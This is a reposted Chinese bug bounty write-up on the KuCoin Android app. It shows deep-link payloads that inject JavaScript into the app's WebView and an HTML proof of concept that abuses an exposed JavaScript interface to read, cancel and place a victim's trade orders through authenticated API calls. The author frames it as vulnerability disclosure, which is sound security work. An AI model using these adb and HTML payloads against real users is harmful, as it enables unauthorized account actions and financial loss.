简介
Android 生态系统中的 Webview 是 Android 视图类的扩展,可让您将网页显示为应用程序活动布局的一部分。您可以将其称为应用程序中内置的 Web 浏览器,但它不包含完全开发的 Web 浏览器的功能,例如导航控件或地址栏。它是 Android 应用程序生态系统中广泛使用的组件之一,但也容易出现许多潜在错误。如果可以在 Webview 中加载任意 URL 或执行任意 JavaScript,则可能会导致身份验证令牌泄露、任意文件被盗以及访问任意活动。在这篇博客中,我将展示如何利用应用程序公开的 JavaScript 接口来执行关键的身份验证操作,如下达交易订单、取消交易订单或停用账户。
查找漏洞
去年,我在 hackenproof 上发现了一个名为 KuCoin 的项目,该项目对移动目标的关注点很有趣,赏金表也很不错,所以我想,如果我能找到他们感兴趣的漏洞,我就可以从他们那里得到一笔不错的赏金。
我开始测试该应用程序,在我的设备上安装了该应用程序,在应用程序中创建了一个帐户,使用 jadx 反编译了该应用程序。我的第一个目标是在应用程序的 webview 中打开任意 url,所以我开始在应用程序中寻找深层链接。
在 AndroidManifest.xml 中,应用程序定义了一个名为 的导出活动,com.kubi.kucoin.feature.UriActivity用于处理传入应用程序的深层链接。
<activity
android:theme="@style/kucoin_splash"
android:name="com.kubi.kucoin.feature.UriActivity"
android:exported="true"
android:screenOrientation="portrait">
<intent-filter>
<data android:scheme="kucoin"/>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
</intent-filter>
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="https"
android:host="kucoin.onelink.me"
android:pathPrefix="/iqEP"/>
</intent-filter>
</activity>
我打开了,com.kubi.kucoin.feature.UriActivity乍一看,我无法弄清楚深度链接处理逻辑,应用程序使用路由器架构在应用程序内部导航。然后我kucoin://在 jadx 中搜索字符串,发现应用程序中使用了以下深度链接。
我发现以下深度链接kucoin:///link?url=看起来很有希望。因此,我尝试kucoin:///link?url=https://example.com向应用程序发送一个类似的 uri,我收到一条消息说 you are going to leave KuCoin for {url} This site you try might be a phishing site ...,然后我发送了一个类似的 uri kucoin:///link?url=https://kucoin.com,并且 url 加载到了 webview 中,因此在回到静态分析之前,我尝试了另一个 payloadkucoin:///link?url=javascript://kucoin.com/%0adocument.write(1111)并且它成功了,我很快制作了一个简单的 poc,显示应用程序的 webview 中任意 url 加载并发送了报告。
adb shell am start -n -d 'kucoin:///link?url=javascript://kucoin.com/%250adocument.write("<iframe%20src=https://www.example.com%20style%3Dposition%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bborder%3Anone%3B></iframe>");//'
在发送报告时,Playstore 上可用的最新版本是,v3.81.1后来团队回复了此消息
后来我发现应用程序已更新,v3.82.0并且 kucoin 团队已针对提交的报告对该版本进行了评估。这意味着我必须找到绕过方法或其他方法在 webview 中打开任意 url。
顺便说一句,这是 kucoin 团队在v3.82.0 2019 年实施的修复。j.y.s0.j.e.java
public final boolean m6255f(String url) {
Intrinsics.checkNotNullParameter(url, "url");
if (m6256e()) {
Issues.m5912c(new WebMessage("WhiteListMatcher isEmpty " + url, "WhiteListMatcher", false, 4, null), null, 2, null);
return false;
}
if (this.f36890e) {
if (!URLUtil.isNetworkUrl(url)) {
return false;
}
} else if (!URLUtil.isHttpsUrl(url)) {
return false; //checks whether received url have http/https scheme or not
}
我再次开始对该应用程序进行静态分析,并找到了另一个导致第二次攻击的漏洞。
在In com.kubi.web.ui.WebViewActivity.java
public void onCreate(Bundle bundle) {
//...//
Intent intent3 = getIntent();
Intrinsics.checkNotNullExpressionValue(intent3, "intent");
this.f19927C = intentUtils.m10181f(intent3, "data"); // it is checking if the received uri contains data query parameter
public final void b1() {
String str = this.f19927C;
if (str != null && str.length() != 0) {
z = false;
}
if (!z) {
m25597c.loadData(C10208p.m25765h(this.f19927C), "text/html", "UTF-8");
}
}
adb shell am start -d 'kucoin:///link?data=<script>document.write("<iframe%20src=https://www.example.com%20style%3Dposition%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bborder%3Anone%3B></iframe>");</script>'
发现这一点后我开始进一步寻找增加此漏洞影响的方法,在程序页面中提到他们对涉及 javascript 接口的攻击感兴趣,因此我开始寻找应用程序中 JS 接口的使用情况。
Android 应用程序使用webview.addJavascriptInterface方法和@JavascriptInterface注释将方法公开,以便从 JavaScript 代码访问。
在com.kubi.sdk.hybrid.core.HybridWebView.java
public final void m12588b(IHybridJsInterface jsInterface, String name) {
Intrinsics.checkNotNullParameter(jsInterface, "jsInterface");
Intrinsics.checkNotNullParameter(name, "name");
this.f16125f.add(name);
addJavascriptInterface(new HybridJsInterface(this, jsInterface), name);
}
然后我在应用程序中搜索@JavascriptInterface注释字符串,发现该 prompt方法在类中暴露给了javascript代码j.y.k0.hybrid.core.HybridJsInterface。
@JavascriptInterface
public final void prompt(String message) {
// JavascriptInterface LOGIC //
}
在j.y.s0.d.h.b.java
public boolean mo29545a(InterfaceC18155c container, String event, HashMap<String, Object> params, HybridJsCallback hybridJsCallback) {
Intrinsics.checkNotNullParameter(container, "container");
Intrinsics.checkNotNullParameter(event, "event");
Intrinsics.checkNotNullParameter(params, "params");
JSONObject jSONObject = new JSONObject(event);
String optString = jSONObject.optString(FirebaseAnalytics.Param.METHOD);
String url = jSONObject.optString(ImagesContract.URL);
if (optString == null) {
return true;
}
int hashCode = optString.hashCode();
if (hashCode != 102230) {
if (hashCode == 3446944 && optString.equals("post")) {
BaseActivity i02 = container.i0();
Intrinsics.checkNotNull(i02);
Intrinsics.checkNotNullExpressionValue(url, "url");
m6326c(i02, url, params, hybridJsCallback);
return true;
}
return true;
} else if (optString.equals("get")) {
BaseActivity i03 = container.i0();
Intrinsics.checkNotNull(i03);
Intrinsics.checkNotNullExpressionValue(url, "url");
m6327b(i03, url, params, hybridJsCallback);
return true;
} else {
return true;
}
}
从那里我遇到了这个方法,它从收到的 json 字符串的关键参数和中获取值method。javascript接口消息正在做的事情是它将接收一个 json 消息,如果收到的消息包含关键参数并且有它的值,那么该方法将调用上述方法。urlparamsprompttypeproxymo29545a
这个方法的作用mo29545a是,它对应用程序用来与后端服务器通信的 API 进行经过身份验证的任意post请求get,appapi-v2.xcoinsystem.com然后将请求的响应发送回 JavaScript 代码。
从那里,为了展示漏洞的影响,我制作了一个 poc,它显示你可以读取所有未平仓交易头寸,取消所有未平仓头寸或创建新的交易。
<html>
<head>
<title>Exploiting javascript interfaces</title>
<style>
#callback-box {
border: 1px solid black;
padding: 10px;
margin-top: 20px;
}
</style>
</head>
<body>
<p>reading open order positions</p>
<button id="read-position">Read order positions</button>
<p>Cancel Open Position</p>
<button id="Cancel-Order">Cancel all open Orders</button>
<p>Create xrpusdt sell Position</p>
<button id="open-position">Open Position</button>
<div id="callback-box"></div>
<script>
window.callbackDispatcher = function(callbackId, data) {
var callbackDiv = document.createElement("div");
callbackDiv.innerText = "Callback ID: " + callbackId + "nData: " + data;
document.getElementById("callback-box").appendChild(callbackDiv);
};
document.getElementById("Cancel-Order").addEventListener("click", function() {
window.KuCoin.prompt('{"type":"proxy","params":{"method":"post","url":"v1/trade/order-cancel","tradeType":"TRADE","type":"limit"},"callback":"window.callbackDispatcher","callbackId":"4b7b8f87-c633-4aa4-b0dd-1f85121dacba"}');
});
document.getElementById("open-position").addEventListener("click", function() {
window.KuCoin.prompt('{"type":"proxy","params":{"method":"post","url":"v1/trade/order","symbol":"XRP-USDT","side":"sell","size":"1","price":"1","type":"limit","tradeType":"TRADE"},"callback":"window.callbackDispatcher","callbackId":"4b7b8f87-c633-4aa4-b0dd-1f85121dacba"}');
});
document.getElementById("read-position").addEventListener("click", function() {
window.KuCoin.prompt('{"type":"proxy","params":{"method":"get","url":"v2/kc/trade/orders?status=active"},"callback":"window.callbackDispatcher","callbackId":"4b7b8f87-c633-4aa4-b0dd-1f85121dacba"}');
});
</script>
</body>
</html>
这是 poc 视频,这种攻击的唯一限制是用户首先需要登录应用程序并使用他们的交易密码来创建交易(由于交易应用程序的令牌寿命很短,如果他们在很长时间后进行交易,则需要先进行身份验证)并且如果有人是活跃的交易者并且受到此漏洞的攻击,那么这些限制就不会出现。
上述攻击清楚地表明这是一个高严重性问题,将给用户造成经济损失。现在我将向您展示 kucoin 团队和 hackenproof 中介如何处理此报告。
-
首先,他们将攻击媒介设置为本地 - 我不明白从浏览器触发漏洞如何算作本地攻击媒介。
-
我能够使用他们的 api 发出任意经过身份验证的请求,并且能够收到响应,因此我可以完全控制我可以接收什么样的信息,正如我在 poc 中所展示的那样。
-
允许不受信任的 javascript 代码发出任意经过身份验证的请求?这清楚地表明应用程序的完整性已被破坏。
-
我还可以通过冻结账户来阻止受害者访问他们的账户,因此可用性也不低。
我要求他们重新考虑严重性,但他们没有回应,所以我向 hackenproof 团队寻求调解,经过几个月的更新要求后,他们将漏洞从低严重性升级到 cvss 评分 4.3,这又是一个不公平的计算。即使 kucoin 也同意这会造成经济损失,但他们决定将其评为4.3cvss 评分的中等严重性。这就是他们的回应。
虽然我已经从这件事中走出来了,但写这篇博客时,我当时的愤怒又浮现出来了。我希望任何读到这篇文章的人都能得到一些新的见解。下期再见,再见
原文始发于微信公众号(Ots安全):利用 JavaScript 接口对“全球性”加密货币交易所 Android 应用进行未经授权的访问
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论